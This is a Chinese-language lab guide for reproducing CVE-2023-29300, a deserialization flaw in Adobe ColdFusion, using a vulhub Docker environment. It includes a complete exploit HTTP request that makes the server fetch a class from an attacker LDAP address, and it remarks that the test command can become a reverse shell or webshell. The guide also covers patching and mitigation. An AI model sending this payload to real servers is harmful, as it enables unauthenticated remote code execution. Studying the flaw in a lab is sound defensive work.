复现指南)
Adobe ColdFusion WDDX XML 反序列化远程代码执行漏洞CVE-2023-29300复现指南【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub本文以 vulhub 仓库中的coldfusion/CVE-2023-29300环境为载体系统讲解 Adobe ColdFusion WDDX 反序列化漏洞CVE-2023-29300的成因、影响范围与完整复现流程从搭建 ColdFusion 2018.0.15 靶机到使用 Java Chains 生成基于JdbcRowSetImpl的 JNDI 注入 payload再到发送攻击请求验证命令执行。读完本文你将掌握这一类反序列化 任意 Setter 调用 JNDI 注入组合利用链的分析思路与实战复现方法。漏洞概述与影响范围Adobe ColdFusion 是 Adobe 公司出品的一款商业快速 Web 应用开发平台由 J. J. Allaire 于 1995 年创建其运行的 CFMLColdFusion Markup Language是一种面向 Web 应用的程序设计语言。该平台内置的 WDDXWeb Distributed Data eXchange数据交换组件负责在不同语言与系统之间序列化、传输数据结构。CVE-2023-29300 是 Adobe ColdFusion 中存在的一处对不可信数据进行反序列化Deserialization of Untrusted Data漏洞最初由 ProjectDiscovery 安全团队公开披露。攻击者无需身份认证即可通过构造恶意的 WDDX 报文诱导服务端实例化任意 Java 类并调用其任意Setter 方法最终实现任意命令执行RCE。受影响版本如下产品版本线受影响版本修复版本ColdFusion 2018Update 16 及更早版本Update 17ColdFusion 2021Update 6 及更早版本Update 7ColdFusion 20232023.0.0.330468 及更早版本2023.0.1.0004该漏洞无需认证即可远程触发安全社区普遍将其定级为严重Critical级别的远程代码执行漏洞在实际攻防场景中常被用于对 ColdFusion 服务器的一击制敌。漏洞原理WDDX 反序列化如何演变为任意命令执行要理解这个漏洞需要拆解三个层层递进的环节WDDX 反序列化、任意 Setter 调用、JNDI 注入。第一环WDDX 报文可指定任意 Java 类WDDX 是一种基于 XML 的数据交换格式wddxPacket是它的根节点。在 ColdFusion 解析 WDDX 时struct节点上的type属性用于声明数据结构对应的类型当该类型是一个 Java 类时类名会被包裹在x字符中例如struct typexcom.sun.rowset.JdbcRowSetImplx这里的x...x标记表明其后是一个全限定 Java 类名。问题在于ColdFusion 的 WDDX 反序列化器并没有对type属性中指定的类做任何白名单或黑名单校验攻击者可以指定 JVM 中任意存在的类。第二环var节点触发任意 Setter 调用反序列化时ColdFusion 会根据struct内部每个var namexxx节点的name值去调用目标类实例上对应的 Setter 方法。也就是说var namedataSourceNamestringldap://your.ldap.server/example/string/var会被处理为调用setDataSourceName(ldap://your.ldap.server/example)。由于不受校验攻击者可以借此调用任意类的任意公有 Setter 方法——这就是漏洞描述中所说的attacker is able to call arbitrary setter function。第三环JdbcRowSetImpl充当 JNDI 注入 Gadget有 Setter 调用能力还不够还需要一个能引发危险副作用的类来形成利用链。最常见的 Gadget 是 JDK 自带的com.sun.rowset.JdbcRowSetImpl它是一条经典的 JNDI 注入利用链setDataSourceName(...)把攻击者指定的 JNDI 名称如ldap://attacker/example存入dataSourceName字段setAutoCommit(true)该方法内部会调用connect()而connect()会执行InitialContext().lookup(getDataSourceName())即向攻击者控制的 LDAP/RMI 服务器发起 JNDI 查询攻击者控制的 LDAP 服务器返回一个恶意的 Java 类引用ColdFusion 所在 JVM 会将其加载执行从而完成任意命令执行。攻击链可概括为恶意 WDDX 报文 → ColdFusion WDDX 反序列化 → 实例化 com.sun.rowset.JdbcRowSetImpl → 调用 setDataSourceName / setAutoCommit → JdbcRowSetImpl.connect() 触发 JNDI lookup → 加载攻击者 LDAP 服务器返回的恶意类 → 任意命令执行RCE需要说明的是JdbcRowSetImpl只是其中一条最常见的利用链从原理上看凡是Setter 调用后存在危险副作用的类都有可能被构造为新的 Gadget。搭建漏洞环境vulhub 仓库为该漏洞预置了一键启动的 Docker 环境核心配置位于 coldfusion/CVE-2023-29300/docker-compose.ymlservices: coldfusion: image: vulhub/coldfusion:2018.0.15 ports: - 8500:8500 - 5005:5005 environment: - passwordvulhub - acceptEULAYES环境要点说明镜像版本vulhub/coldfusion:2018.0.15对应 ColdFusion 2018 Update 15属于受影响版本Update 16 及更早端口映射8500为 ColdFusion Web 服务端口5005为 JVM 调试端口便于复现过程中调试分析环境变量passwordvulhub指定管理员密码acceptEULAYES表示自动接受最终用户许可协议。其中 5005 调试端口的暴露源自基础镜像的定制见 base/coldfusion/2018.0.15/Dockerfile该文件通过sed -i s/5005/*:5005/g /opt/coldfusion/cfusion/bin/jvm.config将 JVM 调试代理绑定到所有网卡使调试端口可被远程访问。启动环境docker compose up -d首次启动需要拉取镜像并完成应用初始化等待一段时间后访问http://your-ip:8500/CFIDE/administrator/index.cfm输入密码vulhub即可成功安装并进入 Adobe ColdFusion 管理后台。提示your-ip请替换为实际部署主机的 IP本机复现可用127.0.0.1。安装完成后无需额外配置直接进入下一步利用环节即可。利用链构造使用 Java Chains 生成 Payload要利用该漏洞核心是先找到一个可用的 Gadget 并在攻击者侧架设恶意 JNDI 服务。vulhub 团队提供的Java Chains工具可以一站式完成JNDI 注入 URL 生成 恶意 LDAP/RMI 服务托管 利用链选择。复现流程如下启动 Java Chains详见其官方快速上手文档在左侧面板选择利用链本环境使用CommonsBeanutils1链生成 payload配置 JNDI 类型与执行模板并填入要执行的命令例如touch /tmp/success点击执行工具会生成对应的恶意 JNDI 注入 URL并返回一个类似rmi://192.168.1.103:1099/#000000的地址。图 1使用 Java Chains 选择 CommonsBeanutils1 利用链并输入待执行命令生成完成后工具会托管恶意 LDAP/RMI 服务。后续攻击请求中需要将 WDDX 报文内的ldap://your.ldap.server/example替换为工具实际生成并监听的地址。构造并发送攻击请求将上面生成的恶意 JNDI 地址替换进如下请求发送给 ColdFusion 服务器POST /CFIDE/adminapi/accessmanager.cfc?methodfoo_cfclienttrue HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q0.9,en;q0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Cache-Control: max-age0 Content-Type: application/x-www-form-urlencoded Content-Length: 333 argumentCollectionwddxPacket version1.0header/datastruct typexcom.sun.rowset.JdbcRowSetImplxvar namedataSourceNamestringldap://your.ldap.server/example/string/varvar nameautoCommitboolean valuetrue//var/struct/data/wddxPacket请求中的关键要素逐一拆解组成部分作用/CFIDE/adminapi/accessmanager.cfc?methodfoo指向一个可被远程调用的 ColdFusion 组件CFCmethodfoo配合_cfclienttrue使服务端解析argumentCollection参数argumentCollectionColdFusion 中用于批量传递参数的机制其值即为恶意 WDDX 报文struct typexcom.sun.rowset.JdbcRowSetImplx声明反序列化目标为 Java 类com.sun.rowset.JdbcRowSetImplvar namedataSourceName触发调用setDataSourceName()写入攻击者的 JNDI 地址var nameautoCommit触发调用setAutoCommit(true)进而触发connect()发起 JNDI 查询这里x包裹符是 WDDX 标记 Java 类类型的约定写法正是反序列化器信任了该类型声明才导致后续任意 Setter 调用成为可能。验证命令执行结果以touch /tmp/success作为验证命令请求发送后进入容器检查/tmp目录docker compose exec coldfusion bash ls /tmp/可以看到目录中出现了success文件说明touch /tmp/success已在 ColdFusion 服务器上成功执行图 2进入容器执行 ls /tmp/确认 success 标记文件已生成至此从构造 WDDX 反序列化报文到JNDI 注入加载恶意类再到任意命令执行的完整利用链验证完毕。将touch /tmp/success替换为反弹 Shell、写入 WebShell 等命令即可获得服务器的代码执行权限。修复与防护建议升级版本将 ColdFusion 升级到官方修复版本——2018 Update 17、2021 Update 7 或 2023.0.1.0004 及以上这是根治该漏洞的唯一可靠手段收敛暴露面若业务暂无法升级应通过防火墙/网关限制CFIDE相关管理路径的对外访问避免未授权访问WAF 检测可在 WAF 层针对argumentCollection参数中携带wddxPacket、struct typex等特征的请求进行拦截告警作为临时缓解措施关注同类链本漏洞的核心是WDDX 反序列化 任意 Setter 调用修复后仍应关注 ColdFusion 其他序列化入口与新型 Gadget 的绕过研究。参考与延伸本复现环境的完整配置见 coldfusion/CVE-2023-29300/docker-compose.yml基础镜像构建方式见 base/coldfusion/2018.0.15/Dockerfile漏洞详情最初由 ProjectDiscovery 安全团队披露国内安全社区先知社区亦有相关分析文章可进一步查阅原始披露材料理解 WDDX 反序列化细节复现时用到的 Java Chains 工具由 vulhub 团队维护专注于 Java 反序列化利用链的快速生成与恶意 JNDI 服务托管可用于后续其他 JNDI 注入类漏洞如 Log4j2、Fastjson 等的复现研究。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考